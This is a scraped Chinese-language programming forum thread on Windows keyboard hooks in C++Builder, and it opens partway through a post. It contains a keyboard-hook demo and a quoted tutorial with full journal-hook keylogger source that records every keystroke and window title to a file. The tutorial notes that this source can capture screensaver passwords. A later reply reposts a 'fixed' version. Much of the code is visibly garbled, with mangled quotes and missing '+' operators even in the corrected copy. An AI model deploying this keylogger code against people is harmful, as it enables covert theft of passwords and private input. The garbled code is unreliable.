//捕捉來自keydll.dll的自訂鍵盤訊息 #30 void __fastcall KeyHook(TMessage &Msg); #31 BEGIN_MESSAGE_MAP #32 VCL_MESSAGE_HANDLER(WM_KEYHOOK, TMessage, KeyHook); #33 END_MESSAGE_MAP(TForm) #34 __fastcall TKeyHookForm(TComponent* Owner); #35 }; #36 //--------------------------------------------------------------------------- #37 extern PACKAGE TKeyHookForm *KeyHookForm; #38 //--------------------------------------------------------------------------- #39 #endif Unit1.cpp #01 //--------------------------------------------------------------------------- #02 //掛上、卸下Keyboard hook,並運用自訂訊息傳遞hook資料 #03 //--------------------------------------------------------------------------- #04 #include #05 #pragma hdrstop #06 #07 #include "Unit1.h" #08 //--------------------------------------------------------------------------- #09 #pragma package(smart_init) #10 #pragma resource "*.dfm" #11 TKeyHookForm *KeyHookForm; #12 //--------------------------------------------------------------------------- #13 __fastcall TKeyHookForm::TKeyHookForm(TComponent* Owner) #14 : TForm(Owner) #15 { #16 inthook = 0;//計算按鍵次數變數歸零 #17 //將KeyHookForm維持在視窗最上面 #18 FormStyle = fsStayOnTop; #19 //掛上&卸下Hook的按鈕狀態 #20 Button1->Enabled = true; #21 Button2->Enabled = false; #22 } #23 //--------------------------------------------------------------------------- #24 //掛上Hook鏈,並設置定時器從共享記憶體中取回鍵盤訊息 #25 void __fastcall TKeyHookForm::Button1Click(TObject *Sender) #26 { #27 //計算按鍵次數變數歸零 #28 inthook = 0; #29 //在keydll.dll中,SetHook函式是執行注射Hook行程至訊息鏈中 #30 //先宣告有一SetHook函式 #31 void (*SetHook)(); #32 //載入同一目錄下的指定連接檔--keydll.dll #33 inst = ::LoadLibrary("keydll.dll"); #34 //取得dll中SetHook函式位址 #35 (FARPROC &)SetHook = ::GetProcAddress(inst,"SetHook"); #36 //執行指向dll中的SetHook函式 #37 SetHook(); #38 //掛上&卸下Hook的按鈕狀態 #39 Button1->Enabled = false; #40 Button2->Enabled = true; #41 } #42 //--------------------------------------------------------------------------- #43 //卸下Hook鏈,解除自訂的hook #44 void __fastcall TKeyHookForm::Button2Click(TObject *Sender) #45 { #46 //在keydll.dll中,RemoveHook函式是執行從訊息鏈中卸下Hook行程 #47 //宣告RemoveHook函式 #48 void (*RemoveHook)(); #49 //載入同一目錄下的指定連接檔--keydll.dll #50 inst = ::LoadLibrary("keydll.dll"); #51 //取得dll中RemoveHook函式位址 #52 (FARPROC &)RemoveHook = ::GetProcAddress(inst,"RemoveHook"); #53 //執行指向dll中的RemoveHook函式 #54 RemoveHook(); #55 //釋放dll #56 ::FreeLibrary(inst); #57 //掛上&卸下Hook的按鈕狀態 #58 Button1->Enabled = true; #59 Button2->Enabled = false; #60 } #61 //--------------------------------------------------------------------------- #62 //預防使用者結束Hook時,未卸下Hook鏈 #63 void __fastcall TKeyHookForm::FormClose(TObject *Sender, #64 TCloseAction &Action) #65 { #66 //在keydll.dll中,RemoveHook函式是執行從訊息鏈中卸下Hook行程 #67 //先宣告RemoveHook函式 #68 void (*RemoveHook)(); #69 //載入dll #70 inst = ::LoadLibrary("keydll.dll"); #71 //取得dll中RemoveHook函式位址 #72 (FARPROC &)RemoveHook = ::GetProcAddress(inst,"RemoveHook"); #73 //執行指向dll中的RemoveHook函式 #74 RemoveHook(); #75 //釋放dll #76 ::FreeLibrary(inst); #77 } #78 //--------------------------------------------------------------------------- #79 //取得攔截自鍵盤中的自訂訊息 #80 void __fastcall TKeyHookForm::KeyHook(TMessage &Msg) #81 { #82 //取得自訂訊息中的按鍵名稱 #83 char keytext[80]; #84 ::GetKeyNameText(Msg.LParam, keytext, 80); #85 //取得自訂訊息中的按鍵狀態(檢測用..意義不大...) #86 AnsiString keystate; #87 keystate = ::GetKeyState((int)Msg.WParam); #88 keystate = (keystate == "1")?"按下":"浮起";//C 之三元運算 #89 #90 //由ListBox元件顯示攔截成果 #91 ListBox1->Items->Insert(0, #92 "第 " AnsiString( inthook) " 按鍵__" #93 AnsiString(keytext) " ;狀態>>" keystate #94 ); #95 } #96 //---------------------------------------------------------------------------
Cooky Kid
初階會員


發表:5
回覆:68
積分:44
註冊:2002-07-11

發送簡訊給我
#5 引用回覆 回覆 發表時間:2002-10-25 17:56:59 IP:210.58.xxx.xxx 未訂閱
sorry! 沒顯現作者附帶的要求... 是擷取"
ouyongke
一般會員


發表:2
回覆:6
積分:6
註冊:2003-05-09

發送簡訊給我
#6 引用回覆 回覆 發表時間:2003-05-09 23:03:29 IP:218.77.xxx.xxx 未訂閱
引言:
引言: BC 5.0 WIN2000中不能編譯耶 出現一堆錯誤訊息
可否將您的錯誤訊息列出!還有專案檔中Include了哪些檔案!
这是因为WIN2000不可以用日志钩子。 發表人 - ouyongke 於 2003/05/09 23:06:56
------
城市里, 我像一粒尘埃, 默默地存在...
bruce0211
版主


發表:157
回覆:668
積分:279
註冊:2002-06-13

發送簡訊給我
#7 引用回覆 回覆 發表時間:2003-08-01 08:50:02 IP:211.21.xxx.xxx 未訂閱
引言: 这是因为WIN2000不可以用日志钩子。 發表人 - ouyongke 於 2003/05/09 23:06:56
胡扯...我在 Windows 2000 Profession 上照樣可以使用 WH_JOURNALRECORD (日誌 Hook)寫過測試程式, 只是沒有試過本篇發表的 source code
mustapha.wang
資深會員


發表:89
回覆:409
積分:274
註冊:2002-03-13

發送簡訊給我
#8 引用回覆 回覆 發表時間:2004-08-27 13:39:30 IP:218.80.xxx.xxx 未訂閱
我试了很多代码,在win2000/win2003都可以的,在win98下都不能成功拦截API, 主要是VirtualProtect失败,或WriteProcessMemory失败,谁有可行的代码?     久病成良医--多试 千人之诺诺,不如一士之谔谔--兼听
------
江上何人初见月,江月何年初照人
Elaman
一般會員


發表:0
回覆:1
積分:0
註冊:2005-08-22

發送簡訊給我
#9 引用回覆 回覆 發表時間:2005-08-30 07:35:59 IP:85.99.xxx.xxx 未訂閱
Hello,    Thank you for your source code, i liked it very much but i dont know your language so thats why i couldnt make it work.    Can you please send me a example of the code below which will work in BCB.    Thank You    My Mail :ege_duru@protoplist.com
引言:

利用Hook技術實現鍵盤監控

作者: 東莞生益敷銅板股份有限公司 肖粵斌 ---- Hook 是WINDOWS中消息處理機制的一個要點,通過安裝各種Hook ,應用程序能夠設置相應的子例程來監視系統裡的消息傳遞以 及在這些消息到達目標窗口程序之前處理它們。鉤子的種類很多,每種鉤子可以截獲並處理相應的消息,如鍵盤鉤子可以截獲鍵盤 消息,鼠標鉤子可以截獲鼠標消息,外殼鉤子可以截獲啟動和關閉應用程序的消息,日志鉤子可以監視和記錄輸入事件。鉤子分為 線程專用鉤子和全局鉤子,線程專用鉤子只監視指定的線程,要監視系統中的所有線程,必須用到全局鉤子。對於全局鉤子,鉤子 函數必須包含在獨立的動態鏈接庫(DLL)中,這樣才能被各種相關聯的應用程序調用。在WINDOWS中,日志鉤子是個很特別的鉤子, 它只有全局鉤子一種,是鍵盤鼠標等輸入設備的消息在系統消息隊列被取出時發生的,而且系統中只能存在一個這樣的日志鉤子, 更重要是,它不必用在動態鏈接庫中,這樣可以省卻了為安裝一個全局鉤子而建立一個動態鏈接庫的麻煩。利用日志鉤子,我們 可以監視各種輸入事件,下面的示例可以用來記錄鍵盤的輸入,當有按鍵發生時,自動記錄按鍵動作的日期和時間以及當前激活 的窗口名稱。 本示例在中文WIN98,Borland C Builder4中編譯通過。 ---1.新建一個工程,在窗體FORM1中放置兩個按鈕Button1和Button2, CAPTION分別 為“安裝日志鉤子”和“卸載日志鉤子”。-- -- 2. 定義如下全局變量: HHOOK g_hLogHook=NULL; //鉤子變量 HWND g_hLastFocus=NULL; //記錄上一次得到焦點的窗口句柄 const int KeyPressMask=0x80000000; //鍵盤掩碼常量 char g_PrvChar; //保存上一次按鍵值 3.在Button1的OnClick事件中輸入: void __fastcall TFORM1::Button1Click(TObject *Sender) { if (g_hLogHook==NULL) g_hLogHook = SetWindowsHookEx (WH_JOURNALRECORD, (HOOKPROC)JournalLogProc, HInstance,0); //安裝日志鉤子 } 4.在Button2的OnClick事件中輸入: void __fastcall TFORM1::Button2Click(TObject *Sender) { if (g_hLogHook!=NULL) {UnhookWindowsHookEx(g_hLogHook); g_hLogHook=NULL; } //卸載日志鉤子 } 5.輸入鉤子回調函數: HOOKPROC JournalLogProc(int iCode, WPARAM wParam, LPARAM lParam) { if (iCode<0) return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam); if (iCode="=HC_ACTION)" {EVENTMSG *pEvt="(EVENTMSG" *)lParam; int i; HWND hFocus; //保存當前活動窗口句柄 char szTitle[256]; //當前窗口名稱 char szTime[128]; //保存當前的日期和時間 FILE *stream="fopen(“c:\\logfile.txt”,"a t");" if (pEvt->message==WM_KEYDOWN) {int vKey=LOBYTE(pEvt- >paramL); // 取得虛擬鍵值 char ch; char str[10]; hFocus=GetActiveWindow(); //取得當前活動窗口句柄 if(g_hLastFocus!=hFocus) //當前活動窗口是否改變 {GetWindowText(hFocus,szTitle,256); g_hLastFocus=hFocus; strcpy(szTime,DateTimeToStr(Now()) .c_str()); //得到當前的日期時間 fprintf(stream,"%c%s%c%c%s", 10,szTime,32,32,szTitle); //寫入文件 fprintf(stream,"%c%c",32,32); } int iShift=GetKeyState(0x10); //測試SHIFT,CAPTION,NUMLOCK等鍵是否按下 int iCapital=GetKeyState(0x14); int iNumLock=GetKeyState(0x90); bool bShift=(iShift & KeyPressMask)==KeyPressMask; bool bCapital=(iCapital & 1)==1; bool bNumLock=(iNumLock & 1)==1; if (vKey >=48 && vKey<=57) // 數字0-9 if (!bShift) fprintf(stream,"%c",vKey); if (vKey>=65 && vKey<=90) // A-Z a-z {if (!bCapital) if (bShift) ch="vKey;" else ch="vKey 32;" else if (bShift) ch="vKey 32;" else ch="vKey;" fprintf(stream,"%c",ch); } if (vKey>=96 && vKey<=105) // 小鍵盤0-9 if (bNumLock) fprintf(stream,"%c",vKey-96 48); if (vKey>=186 && vKey<=222) // 其他鍵 {switch (vKey) { case 186: if (!bShift) ch=";" ; else ch=":"; break; case 187: if (!bShift) ch="=" ; else ch=" " ; break; case 188: if (!bShift) ch="," ; else ch="<" ; break; case 189: if (!bShift) ch="-" ; else ch="_" ; break; case 190: if (!bShift) ch="." ; else ch=" >" ; break; case 191: if (!bShift) ch="/" ; else ch="?" ; break; case 192:if (!bShift) ch="`" ; else ch="~" ;break; case 219:if (!bShift) ch="[" ; else ch="{" ;break; case 220:if (!bShift) ch="\\" ; else ch="│" ;break; case 221:if (!bShift) ch="]" ; else ch="}" ;break; case 222:if (!bShift) ch="\" '; else ch="\"" ;break; default:ch="n" ;break; } if (ch!="n" ) fprintf(stream,"%c",ch); } // if (wParam>=112 && wParam<=123) // 功能鍵 [F1]-[F12] if (vKey>=8 && vKey<=46) //方向鍵 {switch (vKey) { case 8:strcpy(str,"[BK]");break; case 9:strcpy(str,"[TAB]");break; case 13:strcpy(str,"[EN]");break; case 32:strcpy(str,"[SP]");break; case 33:strcpy(str,"[PU]");break; case 34:strcpy(str,"[PD]");break; case 35:strcpy(str,"[END]");break; case 36:strcpy(str,"[HOME]");break; case 37:strcpy(str,"[LF]");break; case 38:strcpy(str,"[UF]");break; case 39:strcpy(str,"[RF]");break; case 40:strcpy(str,"[DF]");break; case 45:strcpy(str,"[INS]");break; case 46:strcpy(str,"[DEL]");break; default:ch="n" ;break; } if (ch!="n" ) {if (g_PrvChar!="vKey)" {fprintf(stream,"%s",str); g_PrvChar="vKey;" } } } } if (pEvt->message==WM_LBUTTONDOWN ││ pEvt- >message==WM_RBUTTONDOWN) {hFocus=GetActiveWindow(); if (g_hLastFocus!=hFocus) {g_hLastFocus=hFocus; GetWindowText(hFocus,szTitle,256); strcpy(szTime,DateTimeToStr(Now()).c_str()); //得到當前的日期時間 fprintf(stream,"%c%s%c%c%s", 10,szTime,32,32,szTitle); //寫入文件 fprintf(stream,"%c%c",32,32); } } fclose(stream); return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam); } ---- 將工程編譯執行後,每當激活一個窗口時,就會把當前窗口名稱寫入文件c:\logfile.txt中,當有按鍵時,按鍵的名稱也會 寫入此文件中,這裡的並沒有處理全部的按鍵,讀者可根據需要添加相應的語句。要捕捉鍵盤的按鍵動作,用鍵盤鉤子 (Keyboard Hook)也同樣可以實現,但是用日志鉤子卻比鍵盤鉤子要方便許多。首先,如果要捕捉其他應用程序的按鍵,即做成 全局鉤子,鍵盤鉤子一定要單獨放在動態鏈接庫中,而日志鉤子卻不必﹔其次,在鍵盤鉤子函數得到的鍵盤按鍵之前,系統已經 處理過這些輸入了,如果系統把這些按鍵屏蔽掉,鍵盤鉤子就無法檢測到它們,例如,當輸入屏幕保護程序密碼時,鍵盤鉤子無 法檢測到用戶輸入了那些字符,而日志鉤子卻可以檢測到。 ---- 無論是哪種鉤子, 都會增加系統處理消息的時間,從而降低系 統的性能,我們只有在必要的時候才安裝這些鉤子,而且 盡可能在不需要時移走它們。
malanlk
尊榮會員


發表:20
回覆:694
積分:577
註冊:2004-04-19

發送簡訊給我
#10 引用回覆 回覆 發表時間:2005-08-30 11:16:57 IP:203.69.xxx.xxx 未訂閱
賀! KTop 擄獲土耳其小姐芳心....
twinstart
一般會員


發表:4
回覆:7
積分:17
註冊:2007-12-14

發送簡訊給我
#11 引用回覆 回覆 發表時間:2007-12-19 13:49:11 IP:60.250.xxx.xxx 未訂閱
我將axsoft版主PO的文章中的範例重新編譯過了,
環境:Windows XP, BCB6
下面是我成功編譯的程式碼,跟大家分享一下,
希望能免去大家除錯的時間。
更改的部份:
1. 加上最後一個 { ,
2. 將JournalLogProc改成JournalRecordProc,
3. 將EVENTMSG *pEvt="(EVENTMSG" *)lParam; 改為EVENTMSG *pEvt = (EVENTMSG *)lParam;
4. 將F1-F10的判斷加上{} (因為還未理解它的作用)
5. 將多餘的 " 去掉,或改為 ' 。

ps.:因為出現奇怪的排版,因此將其中一段程式碼另外PO在下面。

[code cpp]
HOOKPROC JournalRecordProc(int iCode, WPARAM wParam, LPARAM lParam)
{
if (iCode<0)
return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam);
if (iCode==HC_ACTION)
{
EVENTMSG *pEvt=(EVENTMSG *)lParam;
int i;
HWND hFocus; //保存當前活動窗口句柄
char szTitle[256]; //當前窗口名稱
char szTime[128]; //保存當前的日期和時間
FILE *stream = fopen("c:\\logfile.txt","a t");
if (pEvt->message==WM_KEYDOWN)
{
int vKey=LOBYTE(pEvt->paramL); // 取得虛擬鍵值
char ch;
char str[10];
hFocus=GetActiveWindow();
//取得當前活動窗口句柄
if(g_hLastFocus!=hFocus)
{
//當前活動窗口是否改變
GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;
//得到當前的日期時間
strcpy(szTime,DateTimeToStr(Now()).c_str());
//寫入文件
fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle);
fprintf(stream,"%c%c",32,32);
}
//測試SHIFT,CAPTION,NUMLOCK等鍵是否按下
int iShift=GetKeyState(0x10);
int iCapital=GetKeyState(0x14);
int iNumLock=GetKeyState(0x90);
bool bShift=(iShift & KeyPressMask)==KeyPressMask;
bool bCapital=(iCapital & 1)==1;
bool bNumLock=(iNumLock & 1)==1;

if (vKey >=48 && vKey<=57) // 數字0-9
if (!bShift) fprintf(stream,"%c",vKey);

if (vKey>=65 && vKey<=90) // A-Z a-z
{
if (!bCapital) //判斷大小寫
if (bShift) ch=vKey;
else ch=vKey 32;
else if (bShift) ch=vKey 32;
else ch=vKey;
fprintf(stream,"%c",ch);
}

if (vKey>=96 && vKey<=105) // 小鍵盤0-9
if (bNumLock)
fprintf(stream,"%c",vKey-96 48);

if (vKey>=186 && vKey<=222) // 其他鍵
{
switch (vKey)
{
case 186:
if (!bShift) ch=';';
else ch=':';
break;
case 187:
if (!bShift) ch='=';
else ch=' ';
break;
case 188:
if (!bShift) ch=',';
else ch='<';
break;
case 189:
if (!bShift) ch='-';
else ch='_';
break;
case 190:
if (!bShift) ch='.';
else ch='>';
break;
case 191:
if (!bShift) ch='/';
else ch='?';
break;
case 192:
if (!bShift) ch='`';
else ch='~';
break;
case 219:
if (!bShift) ch='[';
else ch='{';
break;
case 220:
if (!bShift) ch='\\';
else ch='|';
break;
case 221:
if (!bShift) ch=']' ;
else ch='}' ;
break;
case 222:
if (!bShift) ch='\'';
else ch='"' ;
break;
default:
ch='n' ;
break;
}
if (ch!='n')
fprintf(stream,"%c",ch);
}
if (wParam>=112 && wParam<=123){} // 功能鍵 [F1]-[F12]
/*
這一段po在下一篇回文!!!
*/
}
//滑鼠左右鍵點選事件(如切換視窗時)
if (pEvt->message==WM_LBUTTONDOWN || pEvt->message==WM_RBUTTONDOWN)
{
hFocus=GetActiveWindow();
if (g_hLastFocus!=hFocus)
{
g_hLastFocus=hFocus;
GetWindowText(hFocus,szTitle,256);
strcpy(szTime,DateTimeToStr(Now()).c_str());
fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle);
fprintf(stream,"%c%c",32,32);
}
}
fclose(stream);
return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
}
}
[/code]

----------------------------------------------
感謝axsoft版主的分享~
我是新手,若有錯請指正,謝謝!!
編輯記錄
twinstart 重新編輯於 2007-12-19 13:53:45, 註解 無‧
twinstart 重新編輯於 2007-12-19 13:57:00, 註解 無‧
twinstart 重新編輯於 2007-12-19 14:01:23, 註解 無‧
twinstart 重新編輯於 2007-12-19 14:05:19, 註解 無‧
twinstart 重新編輯於 2007-12-19 14:18:48, 註解 無‧
twinstart
一般會員


發表:4
回覆:7
積分:17
註冊:2007-12-14

發送簡訊給我
#12 引用回覆 回覆 發表時間:2007-12-19 14:09:33 IP:60.250.xxx.xxx 未訂閱
補上這一段:

[code cpp]
if (vKey>=8 && vKey<=46) //方向鍵
{
switch (vKey)
{
case 8:
strcpy(str,"[BK]");
break;
case 9:
strcpy(str,"[TAB]");
break;
case 13:
strcpy(str,"[EN]");
break;
case 32:
strcpy(str,"[SP]");
break;
case 33:
strcpy(str,"[PU]");
break;
case 34:
strcpy(str,"[PD]");
break;
case 35:
strcpy(str,"[END]");
break;
case 36:
strcpy(str,"[HOME]");
break;
case 37:
strcpy(str,"[LF]");
break;
case 38:
strcpy(str,"[UF]");
break;
case 39:
strcpy(str,"[RF]");
break;
case 40:
strcpy(str,"[DF]");
break;
case 45:
strcpy(str,"[INS]");
break;
case 46:
strcpy(str,"[DEL]");
break;
default:
ch='n';
break;
}
if (ch!='n')
if (g_PrvChar!=vKey)
fprintf(stream,"%s",str);
g_PrvChar=vKey;
}

[/code]
編輯記錄
twinstart 重新編輯於 2007-12-19 14:15:29, 註解 無‧
系統時間:2024-04-26 7:00:21
聯絡我們 | Delphi K.Top討論版
本站聲明
1. 本論壇為無營利行為之開放平台,所有文章都是由網友自行張貼,如牽涉到法律糾紛一切與本站無關。
2. 假如網友發表之內容涉及侵權,而損及您的利益,請立即通知版主刪除。
3. 請勿批評中華民國元首及政府或批評各政黨,是藍是綠本站無權干涉,但這裡不是政治性論壇!